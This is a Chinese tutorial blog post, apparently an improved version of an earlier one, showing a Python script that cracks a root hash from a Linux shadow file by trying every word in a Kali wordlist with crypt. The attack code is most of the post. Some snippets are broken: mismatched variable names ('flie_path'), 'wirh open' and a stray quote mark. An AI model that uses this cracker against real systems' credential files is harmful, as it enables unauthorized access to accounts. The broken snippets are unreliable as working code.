爆破shadow文件密码脚本（完成版）

在之前的博客Python爆破shadow文件密码脚本（简化版）中我们做了简化版的爆破shadow文件密码的python脚本，接下来在之前代码的基础上改进：

python 复制代码

import crypt
shadow_line="root:$y$j9T$uEgezfJhn7Ov5naU8bzZt.$9qIqkWYObaXajS5iLDA43uFhdrtt4ZfbmiZjkZFYve2:18711:0:99999:7:::"
print(f"[+] The shadow line is {shadow_line}")

crypt_text=shadow_line.split(":")[1]
print(f"[+] The crypt text is {crypt_text}")

salt=crypt_text[0:crypt_text.rindex("$")]
print(f"[+] The salt is {salt}")

password="root"
new_crypt_text=crypt.crypt(password,salt)

if new_crypt_text == crypt_text:
	print(f"[+] password is {password}"")
else:
	print(f"[+] password not found!")

在kali中找到一个密码字典，查看它的绝对路径复制：

将代码中的password="123456"替换成下面代码

line.strip()函数首尾去空格

print(f"Trying password:")显示爆破的密码和过程

flie_path="/home/kali/tools/wordlists/top_password.txt"
wirh open(file=file_path,mode="r") as f:
	for line in f:
		password = line.strip()
		print(f"Trying password:{password}")

由于添加了一个for循环，再稍作修改，让password not found!在for循环结束后输出，并给密码加上绿色醒目：

python 复制代码

from termcolor import colored
import crypt

shadow_line="root:$y$j9T$uEgezfJhn7Ov5naU8bzZt.$9qIqkWYObaXajS5iLDA43uFhdrtt4ZfbmiZjkZFYve2:18711:0:99999:7:::"
print(f"[+] The shadow line is {shadow_line}")

crypt_text=shadow_line.split(":")[1]
print(f"[+] The crypt text is {crypt_text}")

salt=crypt_text[0:crypt_text.rindex("$")]
print(f"[+] The salt is {salt}")

flie_path="/home/kali/tools/wordlists/top_password.txt"
with open(file=flie_path,mode="r") as f:
	for line in f:
		password = line.strip()
		print(f"\r[-] Trying password:{password}")
		
		new_crypt_text=crypt.crypt(password,salt)

		if new_crypt_text == crypt_text:
			print(colored(f"\n[+]password is {password}","green"))
			exit()

	print(f"[+] password not found!")

如图，爆破出密码为root：
